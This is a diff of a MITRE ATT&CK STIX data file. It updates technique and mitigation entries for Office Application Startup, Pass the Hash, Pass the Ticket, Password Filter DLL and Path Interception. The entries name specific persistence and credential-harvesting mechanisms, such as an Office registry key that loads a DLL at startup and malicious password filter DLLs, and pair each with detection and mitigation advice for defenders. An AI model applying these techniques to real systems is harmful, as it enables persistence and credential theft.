+                    "description": "Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache backdoor being used in the wild to serve Blackhole. Retrieved September 10, 2017.",
+                    "url": "https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/"
                 }
             ],
             "object_marking_refs": [
@@ -8670,26 +9054,17 @@
                 "Host intrusion prevention systems"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Linux",
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Office Application Startup Mitigation",
             "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)\n\nFor the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)",
             "external_references": [
@@ -8720,9 +9095,9 @@
             "id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Office Application Startup",
-            "description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n===Office Template Macros===\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros)\n\nWord Normal.dotm location:<code>C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb location:<code>C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n===Office Test===\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)\n\n<code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\n===Add-ins===\n\nOffice add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nDetection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.\n\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nNon-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nPlatforms: Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Office Test technique: Office 2007, 2010, 2013, 2015 and 2016\nAdd-ins: some require administrator permissions\n\nContributors: Ricardo Dias, Loic Jaquemet",
+            "description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n===Office Template Macros===\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros)\n\nWord Normal.dotm location:<code>C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb location:<code>C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n===Office Test===\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)\n\n<code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\n===Add-ins===\n\nOffice add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nDetection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.\n\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nNon-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Office Test technique: Office 2007, 2010, 2013, 2015 and 2016\nAdd-ins: some require administrator permissions\n\nContributors: Ricardo Dias, Loic Jaquemet",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -8789,15 +9164,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Office Test technique: Office 2007, 2010, 2013, 2015 and 2016\nAdd-ins: some require administrator permissions"
@@ -8807,15 +9174,19 @@
             "type": "course-of-action",
             "id": "course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pass the Hash Mitigation",
-            "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to Valid Accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.",
+            "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to Valid Accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
                     "url": "https://attack.mitre.org/wiki/Technique/T1075",
                     "external_id": "T1075"
+                },
+                {
+                    "source_name": "GitHub IAD Secure Host Baseline UAC Filtering",
+                    "description": "NSA IAD. (2017, January 24). Secure-Host-Baseline/Windows/Group Policy Templates/en-US/SecGuide.adml. Retrieved December 18, 2017."
                 }
             ]
         },
@@ -8824,9 +9195,9 @@
             "id": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:59.339Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pass the Hash",
-            "description": "Pass the hash (PtH) (Citation: Aorato PTH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)\n\nDetection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as target system",
+            "description": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. In this technique, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. (Citation: NSA Spotting)\n\nDetection: Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as target system\n\nContributors: Travis Smith, Tripwire",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -8839,11 +9210,6 @@
                     "url": "https://attack.mitre.org/wiki/Technique/T1075",
                     "external_id": "T1075"
                 },
-                {
-                    "source_name": "Aorato PTH",
-                    "description": "Aorato. (n.d.). Pass-the-Hash. Retrieved November 12, 2014.",
-                    "url": "http://www.aorato.com/labs/pass-the-hash/"
-                },
                 {
                     "source_name": "NSA Spotting",
                     "description": "National Security Agency/Central Security Service Information Assurance Directorate. (2013, December 16). Spotting the Adversary with Windows Event Log Monitoring. Retrieved November 12, 2014.",
@@ -8853,6 +9219,9 @@
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_contributors": [
+                "Travis Smith, Tripwire"
+            ],
             "x_mitre_data_sources": [
                 "Authentication logs"
             ],
@@ -8860,26 +9229,15 @@
                 "Requires Microsoft Windows as target system"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--3a476d83-43eb-4fad-9b75-b1febd834e3d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pass the Ticket Mitigation",
             "description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -8893,34 +9251,34 @@
                     "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                     "url": "https://adsecurity.org/?p=556"
                 },
-                {
-                    "source_name": "CERT-EU Golden Ticket Protection",
-                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017."
-                },
                 {
                     "source_name": "Beechey 2010",
                     "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                     "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
                 },
                 {
-                    "source_name": "Windows Commands JPCERT",
-                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
-                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
-                },
-                {
-                    "source_name": "NSA MS AppLocker",
-                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
-                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
+                    "source_name": "CERT-EU Golden Ticket Protection",
+                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017."
                 },
                 {
                     "source_name": "Corio 2008",
                     "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                     "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
                 },
+                {
+                    "source_name": "NSA MS AppLocker",
+                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
+                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
+                },
                 {
                     "source_name": "TechNet Applocker vs SRP",
                     "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                     "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
+                },
+                {
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                 }
             ]
         },
@@ -8929,9 +9287,9 @@
             "id": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:11.623Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pass the Ticket",
-            "description": "Pass the ticket (PtT) (Citation: Aorato PTT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for Valid Accounts are captured by Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)\n\nDetection: Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as a target system and Kerberos authentication enabled.\n\nContributors: Ryan Becwar",
+            "description": "Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.\n\nIn this technique, valid Kerberos tickets for Valid Accounts are captured by Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access. (Citation: ADSecurity AD Kerberos Attacks) (Citation: GentilKiwi Pass the Ticket)\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint). (Citation: ADSecurity AD Kerberos Attacks)\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory. (Citation: Campbell 2014)\n\nDetection: Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket. (Citation: CERT-EU Golden Ticket Protection)\n\nPlatforms: Windows\n\nData Sources: Authentication logs\n\nSystem Requirements: Requires Microsoft Windows as a target system and Kerberos authentication enabled.\n\nContributors: Ryan Becwar, Vincent Le Toux",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -8944,20 +9302,14 @@
                     "url": "https://attack.mitre.org/wiki/Technique/T1097",
                     "external_id": "T1097"
                 },
-                {
-                    "source_name": "Aorato PTT",
-                    "description": "Aorato. (n.d.). Pass-the-Ticket. Retrieved November 12, 2014.",
-                    "url": "http://www.aorato.com/labs/pass-the-ticket/"
-                },
                 {
                     "source_name": "ADSecurity AD Kerberos Attacks",
                     "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                     "url": "https://adsecurity.org/?p=556"
                 },
                 {
-                    "source_name": "GentilKiwi Pass the Ticket",
-                    "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.",
-                    "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
+                    "source_name": "CERT-EU Golden Ticket Protection",
+                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017."
                 },
                 {
                     "source_name": "Campbell 2014",
@@ -8965,43 +9317,105 @@
                     "url": "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf"
                 },
                 {
-                    "source_name": "CERT-EU Golden Ticket Protection",
-                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017."
+                    "source_name": "GentilKiwi Pass the Ticket",
+                    "description": "Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.",
+                    "url": "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
             "x_mitre_contributors": [
-                "Ryan Becwar"
+                "Ryan Becwar",
+                "Vincent Le Toux"
             ],
             "x_mitre_data_sources": [
                 "Authentication logs"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
             "x_mitre_system_requirements": [
                 "Requires Microsoft Windows as a target system and Kerberos authentication enabled."
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--00d7d21b-69d6-4797-88a2-c86f3fc97651",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Password Filter DLL Mitigation",
+            "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (<code>C:\\Windows\\System32\\</code> by default) of a domain controller and/or local computer with a corresponding entry in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages</code>.  (Citation: Microsoft Install Password Filter n.d)",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1174",
+                    "external_id": "T1174"
+                },
+                {
+                    "source_name": "Microsoft Install Password Filter n.d",
+                    "description": "Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Password Filter DLL",
+            "description": "Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts.\n\nBefore registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.\n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)\n\nDetection: Monitor for change notifications to and from unfamiliar password filters.\n\nNewly installed password filters will not take effect until after a system reboot.\n\nPassword filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)\n\nPlatforms: Windows\n\nData Sources: DLL monitoring, Windows Registry, Process monitoring\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "credential-access"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1174",
+                    "external_id": "T1174"
+                },
+                {
+                    "source_name": "Carnal Ownage Password Filters Sept 2013",
+                    "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.",
+                    "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html"
+                },
+                {
+                    "source_name": "Clymb3r Function Hook Passwords Sept 2013",
+                    "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
+                    "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Vincent Le Toux"
+            ],
+            "x_mitre_data_sources": [
+                "DLL monitoring",
+                "Windows Registry",
+                "Process monitoring"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--e0703d4f-3972-424a-8277-84004817e024",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Path Interception Mitigation",
             "description": "Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.\n\nPeriodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel). \n\nRequire that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\\Windows\\</code>, to reduce places where malicious files could be placed for execution.\n\nIdentify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.",
             "external_references": [
@@ -9052,9 +9466,9 @@
             "id": "attack-pattern--c4ad009b-6e13-4419-8d21-918a1652de02",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:36.140Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Path Interception",
